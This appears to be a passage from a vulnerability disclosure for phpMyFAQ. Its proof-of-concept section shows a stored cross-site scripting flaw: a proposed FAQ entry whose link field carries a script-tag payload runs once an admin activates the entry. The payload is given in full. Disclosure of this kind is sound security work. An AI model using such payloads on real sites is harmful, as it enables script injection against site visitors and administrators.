2. Proof of Concept
By default every user can propose faq entries.
When admin activate article using http://phpmyfaq/admin/?action=view url or records.defaultActivation option is enabled, XSS will be visible on entry page:
http://phpmyfaq/index.php?action=artikel&cat=%cat_id%&id=%article_id%&artlang=pl
For exploitation use folowing url inside Link for this FAQ field:
http://example.com/"><script>alert("xss")</script>
